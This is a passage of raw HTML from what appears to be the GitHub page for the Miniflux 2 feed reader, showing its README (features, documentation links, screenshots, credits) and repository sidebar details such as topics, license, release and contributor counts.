0-1.5ZM2 14a1 1 0 1 1 0-2 1 1 0 0 1 0 2Zm1-6a1 1 0 1 1-2 0 1 1 0 0 1 2 0ZM2 4a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z\"></path></svg></button></div><div class=\"Box-sc-g0xbh4-0 bJMeLZ js-snippet-clipboard-copy-unpositioned\" data-hpc=\"true\"><article class=\"markdown-body entry-content container-lg\" itemprop=\"text\"><div class=\"markdown-heading\" dir=\"auto\"><h1 tabindex=\"-1\" class=\"heading-element\" dir=\"auto\">Miniflux 2</h1><a id=\"user-content-miniflux-2\" class=\"anchor-element\" aria-label=\"Permalink: Miniflux 2\" href=\"#miniflux-2\"><svg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"><path d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\"></path></svg></a></div>\n<p dir=\"auto\">Miniflux is a minimalist and opinionated feed reader:</p>\n<ul dir=\"auto\">\n<li>Written in Go (Golang)</li>\n<li>Works only with Postgresql</li>\n<li>Doesn't use any ORM</li>\n<li>Doesn't use any complicated framework</li>\n<li>Use only modern vanilla Javascript (ES6 and Fetch API)</li>\n<li>Single binary compiled statically without dependency</li>\n<li>The number of features is voluntarily limited</li>\n</ul>\n<p dir=\"auto\">It's simple, fast, lightweight and super easy to install.</p>\n<p dir=\"auto\">Official website: <a href=\"https://miniflux.app\" rel=\"nofollow\">https://miniflux.app</a></p>\n<div class=\"markdown-heading\" dir=\"auto\"><h2 tabindex=\"-1\" class=\"heading-element\" dir=\"auto\">Documentation</h2><a id=\"user-content-documentation\" class=\"anchor-element\" aria-label=\"Permalink: Documentation\" href=\"#documentation\"><svg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"><path d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\"></path></svg></a></div>\n<p dir=\"auto\">The Miniflux documentation is available here: <a href=\"https://miniflux.app/docs/\" rel=\"nofollow\">https://miniflux.app/docs/</a> (<a href=\"https://miniflux.app/miniflux.1.html\" rel=\"nofollow\">Man page</a>)</p>\n<ul dir=\"auto\">\n<li><a href=\"https://miniflux.app/opinionated.html\" rel=\"nofollow\">Opinionated?</a></li>\n<li><a href=\"https://miniflux.app/features.html\" rel=\"nofollow\">Features</a></li>\n<li><a href=\"https://miniflux.app/docs/requirements.html\" rel=\"nofollow\">Requirements</a></li>\n<li><a href=\"https://miniflux.app/docs/installation.html\" rel=\"nofollow\">Installation Instructions</a></li>\n<li><a href=\"https://miniflux.app/docs/upgrade.html\" rel=\"nofollow\">Upgrading to a New Version</a></li>\n<li><a href=\"https://miniflux.app/docs/configuration.html\" rel=\"nofollow\">Configuration</a></li>\n<li><a href=\"https://miniflux.app/docs/cli.html\" rel=\"nofollow\">Command Line Usage</a></li>\n<li><a href=\"https://miniflux.app/docs/ui.html\" rel=\"nofollow\">User Interface Usage</a></li>\n<li><a href=\"https://miniflux.app/docs/keyboard_shortcuts.html\" rel=\"nofollow\">Keyboard Shortcuts</a></li>\n<li><a href=\"https://miniflux.app/docs/services.html\" rel=\"nofollow\">Integration with External Services</a></li>\n<li><a href=\"https://miniflux.app/docs/rules.html\" rel=\"nofollow\">Rewrite and Scraper Rules</a></li>\n<li><a href=\"https://miniflux.app/docs/api.html\" rel=\"nofollow\">API Reference</a></li>\n<li><a href=\"https://miniflux.app/docs/development.html\" rel=\"nofollow\">Development</a></li>\n<li><a href=\"https://miniflux.app/docs/i18n.html\" rel=\"nofollow\">Internationalization</a></li>\n<li><a href=\"https://miniflux.app/faq.html\" rel=\"nofollow\">Frequently Asked Questions</a></li>\n</ul>\n<div class=\"markdown-heading\" dir=\"auto\"><h2 tabindex=\"-1\" class=\"heading-element\" dir=\"auto\">Screenshots</h2><a id=\"user-content-screenshots\" class=\"anchor-element\" aria-label=\"Permalink: Screenshots\" href=\"#screenshots\"><svg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"><path d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\"></path></svg></a></div>\n<p dir=\"auto\">Default theme:</p>\n<p dir=\"auto\"><a target=\"_blank\" rel=\"noopener noreferrer nofollow\" href=\"https://camo.githubusercontent.com/4c2ed867792b75194aac085471271b59d44c635ed0adabef02550398ad5e91ed/68747470733a2f2f6d696e69666c75782e6170702f696d616765732f6f766572766965772e706e67\"><img src=\"https://camo.githubusercontent.com/4c2ed867792b75194aac085471271b59d44c635ed0adabef02550398ad5e91ed/68747470733a2f2f6d696e69666c75782e6170702f696d616765732f6f766572766965772e706e67\" alt=\"Default theme\" data-canonical-src=\"https://miniflux.app/images/overview.png\" style=\"max-width: 100%;\"></a></p>\n<p dir=\"auto\">Dark theme when using keyboard navigation:</p>\n<p dir=\"auto\"><a target=\"_blank\" rel=\"noopener noreferrer nofollow\" href=\"https://camo.githubusercontent.com/574f02c280b2b1617d545a0d55cb419423addefe0236dc73da5909816842bc12/68747470733a2f2f6d696e69666c75782e6170702f696d616765732f6974656d2d73656c656374696f6e2d626c61636b2d7468656d652e706e67\"><img src=\"https://camo.githubusercontent.com/574f02c280b2b1617d545a0d55cb419423addefe0236dc73da5909816842bc12/68747470733a2f2f6d696e69666c75782e6170702f696d616765732f6974656d2d73656c656374696f6e2d626c61636b2d7468656d652e706e67\" alt=\"Dark theme\" data-canonical-src=\"https://miniflux.app/images/item-selection-black-theme.png\" style=\"max-width: 100%;\"></a></p>\n<div class=\"markdown-heading\" dir=\"auto\"><h2 tabindex=\"-1\" class=\"heading-element\" dir=\"auto\">Credits</h2><a id=\"user-content-credits\" class=\"anchor-element\" aria-label=\"Permalink: Credits\" href=\"#credits\"><svg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"><path d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\"></path></svg></a></div>\n<ul dir=\"auto\">\n<li>Authors: Frédéric Guillot - <a href=\"https://github.com/miniflux/v2/graphs/contributors\">List of contributors</a></li>\n<li>Distributed under Apache 2.0 License</li>\n</ul>\n</article></div></div></div></div></div> <!-- --> <!-- --> <script type=\"application/json\" id=\"__PRIMER_DATA__\">{\"resolvedServerColorMode\":\"day\"}</script></div>\n</react-partial>\n\n        <input type=\"hidden\" data-csrf=\"true\" value=\"EPgYzkpM94N5DtIPKSHNOHDIUL+rXQFo9s8505diBQckppi1ITd8YVYtz4pf6ZH1f2nuiB4eiVMcAme6LnWabA==\" />\n</div>\n  <div data-view-component=\"true\" class=\"Layout-sidebar\">      \n\n      <div class=\"BorderGrid about-margin\" data-pjax>\n        <div class=\"BorderGrid-row\">\n          <div class=\"BorderGrid-cell\">\n            <div class=\"hide-sm hide-md\">\n  <h2 class=\"mb-3 h4\">About</h2>\n\n      <p class=\"f4 my-3\">\n        Minimalist and opinionated feed reader\n      </p>\n      <div class=\"my-3 d-flex flex-items-center\">\n        <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-link flex-shrink-0 mr-2\">\n    <path d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\"></path>\n</svg>\n        <span class=\"flex-auto min-width-0 css-truncate css-truncate-target width-fit\">\n          <a title=\"https://miniflux.app\" role=\"link\" target=\"_blank\" rel=\"noopener noreferrer nofollow\" class=\"text-bold\" href=\"https://miniflux.app\">miniflux.app</a>\n        </span>\n      </div>\n\n    <h3 class=\"sr-only\">Topics</h3>\n    <div class=\"my-3\">\n        <div class=\"f6\">\n      <a data-ga-click=\"Topic, repository page\" data-octo-click=\"topic_click\" data-octo-dimensions=\"topic:atom\" href=\"/topics/atom\" title=\"Topic: atom\" data-view-component=\"true\" class=\"topic-tag topic-tag-link\">\n  atom\n</a>\n      <a data-ga-click=\"Topic, repository page\" data-octo-click=\"topic_click\" data-octo-dimensions=\"topic:go\" href=\"/topics/go\" title=\"Topic: go\" data-view-component=\"true\" class=\"topic-tag topic-tag-link\">\n  go\n</a>\n      <a data-ga-click=\"Topic, repository page\" data-octo-click=\"topic_click\" data-octo-dimensions=\"topic:letsencrypt\" href=\"/topics/letsencrypt\" title=\"Topic: letsencrypt\" data-view-component=\"true\" class=\"topic-tag topic-tag-link\">\n  letsencrypt\n</a>\n      <a data-ga-click=\"Topic, repository page\" data-octo-click=\"topic_click\" data-octo-dimensions=\"topic:golang\" href=\"/topics/golang\" title=\"Topic: golang\" data-view-component=\"true\" class=\"topic-tag topic-tag-link\">\n  golang\n</a>\n      <a data-ga-click=\"Topic, repository page\" data-octo-click=\"topic_click\" data-octo-dimensions=\"topic:rss\" href=\"/topics/rss\" title=\"Topic: rss\" data-view-component=\"true\" class=\"topic-tag topic-tag-link\">\n  rss\n</a>\n      <a data-ga-click=\"Topic, repository page\" data-octo-click=\"topic_click\" data-octo-dimensions=\"topic:rdf\" href=\"/topics/rdf\" title=\"Topic: rdf\" data-view-component=\"true\" class=\"topic-tag topic-tag-link\">\n  rdf\n</a>\n      <a data-ga-click=\"Topic, repository page\" data-octo-click=\"topic_click\" data-octo-dimensions=\"topic:postgresql\" href=\"/topics/postgresql\" title=\"Topic: postgresql\" data-view-component=\"true\" class=\"topic-tag topic-tag-link\">\n  postgresql\n</a>\n      <a data-ga-click=\"Topic, repository page\" data-octo-click=\"topic_click\" data-octo-dimensions=\"topic:feed\" href=\"/topics/feed\" title=\"Topic: feed\" data-view-component=\"true\" class=\"topic-tag topic-tag-link\">\n  feed\n</a>\n      <a data-ga-click=\"Topic, repository page\" data-octo-click=\"topic_click\" data-octo-dimensions=\"topic:opml\" href=\"/topics/opml\" title=\"Topic: opml\" data-view-component=\"true\" class=\"topic-tag topic-tag-link\">\n  opml\n</a>\n      <a data-ga-click=\"Topic, repository page\" data-octo-click=\"topic_click\" data-octo-dimensions=\"topic:jsonfeed\" href=\"/topics/jsonfeed\" title=\"Topic: jsonfeed\" data-view-component=\"true\" class=\"topic-tag topic-tag-link\">\n  jsonfeed\n</a>\n  </div>\n\n    </div>\n\n    <h3 class=\"sr-only\">Resources</h3>\n    <div class=\"mt-2\">\n      <a class=\"Link--muted\" data-analytics-event=\"{&quot;category&quot;:&quot;Repository Overview&quot;,&quot;action&quot;:&quot;click&quot;,&quot;label&quot;:&quot;location:sidebar;file:readme&quot;}\" href=\"#readme-ov-file\">\n        <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-book mr-2\">\n    <path d=\"M0 1.75A.75.75 0 0 1 .75 1h4.253c1.227 0 2.317.59 3 1.501A3.743 3.743 0 0 1 11.006 1h4.245a.75.75 0 0 1 .75.75v10.5a.75.75 0 0 1-.75.75h-4.507a2.25 2.25 0 0 0-1.591.659l-.622.621a.75.75 0 0 1-1.06 0l-.622-.621A2.25 2.25 0 0 0 5.258 13H.75a.75.75 0 0 1-.75-.75Zm7.251 10.324.004-5.073-.002-2.253A2.25 2.25 0 0 0 5.003 2.5H1.5v9h3.757a3.75 3.75 0 0 1 1.994.574ZM8.755 4.75l-.004 7.322a3.752 3.752 0 0 1 1.992-.572H14.5v-9h-3.495a2.25 2.25 0 0 0-2.25 2.25Z\"></path>\n</svg>\n        Readme\n</a>    </div>\n\n  \n    <h3 class=\"sr-only\">License</h3>\n  <div class=\"mt-2\">\n    <a href=\"#Apache-2.0-1-ov-file\"\n      class=\"Link--muted\"\n      \n      data-analytics-event=\"{&quot;category&quot;:&quot;Repository Overview&quot;,&quot;action&quot;:&quot;click&quot;,&quot;label&quot;:&quot;location:sidebar;file:license&quot;}\"\n    >\n      <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-law mr-2\">\n    <path d=\"M8.75.75V2h.985c.304 0 .603.08.867.231l1.29.736c.038.022.08.033.124.033h2.234a.75.75 0 0 1 0 1.5h-.427l2.111 4.692a.75.75 0 0 1-.154.838l-.53-.53.529.531-.001.002-.002.002-.006.006-.006.005-.01.01-.045.04c-.21.176-.441.327-.686.45C14.556 10.78 13.88 11 13 11a4.498 4.498 0 0 1-2.023-.454 3.544 3.544 0 0 1-.686-.45l-.045-.04-.016-.015-.006-.006-.004-.004v-.001a.75.75 0 0 1-.154-.838L12.178 4.5h-.162c-.305 0-.604-.079-.868-.231l-1.29-.736a.245.245 0 0 0-.124-.033H8.75V13h2.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1 0-1.5h2.5V3.5h-.984a.245.245 0 0 0-.124.033l-1.289.737c-.265.15-.564.23-.869.23h-.162l2.112 4.692a.75.75 0 0 1-.154.838l-.53-.53.529.531-.001.002-.002.002-.006.006-.016.015-.045.04c-.21.176-.441.327-.686.45C4.556 10.78 3.88 11 3 11a4.498 4.498 0 0 1-2.023-.454 3.544 3.544 0 0 1-.686-.45l-.045-.04-.016-.015-.006-.006-.004-.004v-.001a.75.75 0 0 1-.154-.838L2.178 4.5H1.75a.75.75 0 0 1 0-1.5h2.234a.249.249 0 0 0 .125-.033l1.288-.737c.265-.15.564-.23.869-.23h.984V.75a.75.75 0 0 1 1.5 0Zm2.945 8.477c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L13 6.327Zm-10 0c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L3 6.327Z\"></path>\n</svg>\n     Apache-2.0 license\n    </a>\n  </div>\n\n\n\n    <h3 class=\"sr-only\">Security policy</h3>\n    <div class=\"mt-2\">\n      <a href=\"#security-ov-file\"\n        class=\"Link--muted\"\n        \n        data-analytics-event=\"{&quot;category&quot;:&quot;Repository Overview&quot;,&quot;action&quot;:&quot;click&quot;,&quot;label&quot;:&quot;location:sidebar;file:security policy&quot;}\"\n      >\n        <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-law mr-2\">\n    <path d=\"M8.75.75V2h.985c.304 0 .603.08.867.231l1.29.736c.038.022.08.033.124.033h2.234a.75.75 0 0 1 0 1.5h-.427l2.111 4.692a.75.75 0 0 1-.154.838l-.53-.53.529.531-.001.002-.002.002-.006.006-.006.005-.01.01-.045.04c-.21.176-.441.327-.686.45C14.556 10.78 13.88 11 13 11a4.498 4.498 0 0 1-2.023-.454 3.544 3.544 0 0 1-.686-.45l-.045-.04-.016-.015-.006-.006-.004-.004v-.001a.75.75 0 0 1-.154-.838L12.178 4.5h-.162c-.305 0-.604-.079-.868-.231l-1.29-.736a.245.245 0 0 0-.124-.033H8.75V13h2.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1 0-1.5h2.5V3.5h-.984a.245.245 0 0 0-.124.033l-1.289.737c-.265.15-.564.23-.869.23h-.162l2.112 4.692a.75.75 0 0 1-.154.838l-.53-.53.529.531-.001.002-.002.002-.006.006-.016.015-.045.04c-.21.176-.441.327-.686.45C4.556 10.78 3.88 11 3 11a4.498 4.498 0 0 1-2.023-.454 3.544 3.544 0 0 1-.686-.45l-.045-.04-.016-.015-.006-.006-.004-.004v-.001a.75.75 0 0 1-.154-.838L2.178 4.5H1.75a.75.75 0 0 1 0-1.5h2.234a.249.249 0 0 0 .125-.033l1.288-.737c.265-.15.564-.23.869-.23h.984V.75a.75.75 0 0 1 1.5 0Zm2.945 8.477c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L13 6.327Zm-10 0c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L3 6.327Z\"></path>\n</svg>\n        Security policy\n      </a>\n    </div>\n\n  <include-fragment  src=\"/miniflux/v2/hovercards/citation/sidebar_partial?tree_name=main\">\n  </include-fragment>\n\n  <div class=\"mt-2\">\n    <a href=\"/miniflux/v2/activity\" data-view-component=\"true\" class=\"Link Link--muted\">\n      <svg text=\"gray\" aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-pulse mr-2\">\n    <path d=\"M6 2c.306 0 .582.187.696.471L10 10.731l1.304-3.26A.751.751 0 0 1 12 7h3.25a.75.75 0 0 1 0 1.5h-2.742l-1.812 4.528a.751.751 0 0 1-1.392 0L6 4.77 4.696 8.03A.75.75 0 0 1 4 8.5H.75a.75.75 0 0 1 0-1.5h2.742l1.812-4.529A.751.751 0 0 1 6 2Z\"></path>\n</svg>\n      <span class=\"color-fg-muted\">Activity</span>\n</a>  </div>\n\n    <div class=\"mt-2\">\n      <a href=\"/miniflux/v2/custom-properties\" data-view-component=\"true\" class=\"Link Link--muted\">\n        <svg text=\"gray\" aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-note mr-2\">\n    <path d=\"M0 3.75C0 2.784.784 2 1.75 2h12.5c.966 0 1.75.784 1.75 1.75v8.5A1.75 1.75 0 0 1 14.25 14H1.75A1.75 1.75 0 0 1 0 12.25Zm1.75-.25a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25v-8.5a.25.25 0 0 0-.25-.25ZM3.5 6.25a.75.75 0 0 1 .75-.75h7a.75.75 0 0 1 0 1.5h-7a.75.75 0 0 1-.75-.75Zm.75 2.25h4a.75.75 0 0 1 0 1.5h-4a.75.75 0 0 1 0-1.5Z\"></path>\n</svg>\n        <span class=\"color-fg-muted\">Custom properties</span>\n</a>    </div>\n\n  <h3 class=\"sr-only\">Stars</h3>\n  <div class=\"mt-2\">\n    <a href=\"/miniflux/v2/stargazers\" data-view-component=\"true\" class=\"Link Link--muted\">\n      <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-star mr-2\">\n    <path d=\"M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z\"></path>\n</svg>\n      <strong>5.9k</strong>\n      stars\n</a>  </div>\n\n  <h3 class=\"sr-only\">Watchers</h3>\n  <div class=\"mt-2\">\n    <a href=\"/miniflux/v2/watchers\" data-view-component=\"true\" class=\"Link Link--muted\">\n      <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-eye mr-2\">\n    <path d=\"M8 2c1.981 0 3.671.992 4.933 2.078 1.27 1.091 2.187 2.345 2.637 3.023a1.62 1.62 0 0 1 0 1.798c-.45.678-1.367 1.932-2.637 3.023C11.67 13.008 9.981 14 8 14c-1.981 0-3.671-.992-4.933-2.078C1.797 10.83.88 9.576.43 8.898a1.62 1.62 0 0 1 0-1.798c.45-.677 1.367-1.931 2.637-3.022C4.33 2.992 6.019 2 8 2ZM1.679 7.932a.12.12 0 0 0 0 .136c.411.622 1.241 1.75 2.366 2.717C5.176 11.758 6.527 12.5 8 12.5c1.473 0 2.825-.742 3.955-1.715 1.124-.967 1.954-2.096 2.366-2.717a.12.12 0 0 0 0-.136c-.412-.621-1.242-1.75-2.366-2.717C10.824 4.242 9.473 3.5 8 3.5c-1.473 0-2.825.742-3.955 1.715-1.124.967-1.954 2.096-2.366 2.717ZM8 10a2 2 0 1 1-.001-3.999A2 2 0 0 1 8 10Z\"></path>\n</svg>\n      <strong>70</strong>\n      watching\n</a>  </div>\n\n  <h3 class=\"sr-only\">Forks</h3>\n  <div class=\"mt-2\">\n    <a href=\"/miniflux/v2/forks\" data-view-component=\"true\" class=\"Link Link--muted\">\n      <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-repo-forked mr-2\">\n    <path d=\"M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z\"></path>\n</svg>\n      <strong>661</strong>\n      forks\n</a>  </div>\n\n    <div class=\"mt-2\">\n      <a class=\"Link--muted\" href=\"/contact/report-content?content_url=https%3A%2F%2Fgithub.com%2Fminiflux%2Fv2&amp;report=miniflux+%28user%29\">\n          Report repository\n</a>    </div>\n</div>\n\n          </div>\n        </div>\n\n        \n            <div class=\"BorderGrid-row\">\n              <div class=\"BorderGrid-cell\">\n                <h2 class=\"h4 mb-3\" data-pjax=\"#repo-content-pjax-container\" data-turbo-frame=\"repo-content-turbo-frame\">\n  <a href=\"/miniflux/v2/releases\" data-view-component=\"true\" class=\"Link--primary no-underline Link\">\n    Releases\n      <span title=\"54\" data-view-component=\"true\" class=\"Counter\">54</span>\n</a></h2>\n\n  <a class=\"Link--primary d-flex no-underline\" data-pjax=\"#repo-content-pjax-container\" data-turbo-frame=\"repo-content-turbo-frame\" href=\"/miniflux/v2/releases/tag/2.1.0\">\n    <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-tag flex-shrink-0 mt-1 color-fg-success\">\n    <path d=\"M1 7.775V2.75C1 1.784 1.784 1 2.75 1h5.025c.464 0 .91.184 1.238.513l6.25 6.25a1.75 1.75 0 0 1 0 2.474l-5.026 5.026a1.75 1.75 0 0 1-2.474 0l-6.25-6.25A1.752 1.752 0 0 1 1 7.775Zm1.5 0c0 .066.026.13.073.177l6.25 6.25a.25.25 0 0 0 .354 0l5.025-5.025a.25.25 0 0 0 0-.354l-6.25-6.25a.25.25 0 0 0-.177-.073H2.75a.25.25 0 0 0-.25.25ZM6 5a1 1 0 1 1 0 2 1 1 0 0 1 0-2Z\"></path>\n</svg>\n    <div class=\"ml-2 min-width-0\">\n      <div class=\"d-flex\">\n        <span class=\"css-truncate css-truncate-target text-bold mr-2\" style=\"max-width: none;\">Miniflux 2.1.0</span>\n        <span title=\"Label: Latest\" data-view-component=\"true\" class=\"Label Label--success flex-shrink-0\">\n          Latest\n</span>      </div>\n      <div class=\"text-small color-fg-muted\"><relative-time datetime=\"2024-02-17T21:20:56Z\" class=\"no-wrap\">Feb 17, 2024</relative-time></div>\n    </div>\n</a>    <div data-view-component=\"true\" class=\"mt-3\">\n      <a text=\"small\" data-pjax=\"#repo-content-pjax-container\" data-turbo-frame=\"repo-content-turbo-frame\" href=\"/miniflux/v2/releases\" data-view-component=\"true\" class=\"Link\">\n        + 53 releases\n</a></div>\n              </div>\n            </div>\n\n        \n        \n        \n            <div class=\"BorderGrid-row\" hidden>\n              <div class=\"BorderGrid-cell\">\n                <include-fragment src=\"/miniflux/v2/used_by_list\" accept=\"text/fragment+html\">\n</include-fragment>\n              </div>\n            </div>\n\n        \n            <div class=\"BorderGrid-row\">\n              <div class=\"BorderGrid-cell\">\n                <h2 class=\"h4 mb-3\">\n  <a href=\"/miniflux/v2/graphs/contributors\" data-view-component=\"true\" class=\"Link--primary no-underline Link d-flex flex-items-center\">\n    Contributors\n      <span title=\"214\" data-view-component=\"true\" class=\"Counter ml-1\">214</span>\n</a></h2>\n\n\n    \n  <ul class=\"list-style-none d-flex flex-wrap mb-n2\">\n    <li class=\"mb-2 mr-2\"\n        >\n      <a href=\"https://github.com/fguillot\"\n          class=\"\"\n            data-hovercard-type=\"user\" data-hovercard-url=\"/users/fguillot/hovercard\" data-octo-click=\"hovercard-link-click\" data-octo-dimensions=\"link_type:self\"\n          \n        >\n        <img src=\"https://avatars.githubusercontent.com/u/323546?s=64&amp;v=4\" alt=\"@fguillot\" size=\"32\" height=\"32\" width=\"32\" data-view-component=\"true\" class=\"avatar circle\" />\n      </a>\n    </li>\n    <li class=\"mb-2 mr-2\"\n        >\n      <a href=\"https://github.com/apps/dependabot\"\n          class=\"\"\n          \n        >\n        <img src=\"https://avatars.githubusercontent.com/in/29110?s=64&amp;v=4\" alt=\"@dependabot[bot]\" size=\"32\" height=\"32\" width=\"32\" data-view-component=\"true\" class=\"avatar\" />\n      </a>\n    </li>\n    <li class=\"mb-2 mr-2\"\n        >\n      <a href=\"https://github.com/jvoisin\"\n          class=\"\"\n            data-hovercard-type=\"user\" data-hovercard-url=\"/users/jvoisin/hovercard\" data-octo-click=\"hovercard-link-click\" data-octo-dimensions=\"link_type:self\"\n          \n        >\n        <img src=\"https://avatars.githubusercontent.com/u/325724?s=64&amp;v=4\" alt=\"@jvoisin\" size=\"32\" height=\"32\" width=\"32\" data-view-component=\"true\" class=\"avatar circle\" />\n      </a>\n    </li>\n    <li class=\"mb-2 mr-2\"\n        >\n      <a href=\"https://github.com/shizunge\"\n          class=\"\"\n            data-hovercard-type=\"user\" data-hovercard-url=\"/users/shizunge/hovercard\" data-octo-click=\"hovercard-link-click\" 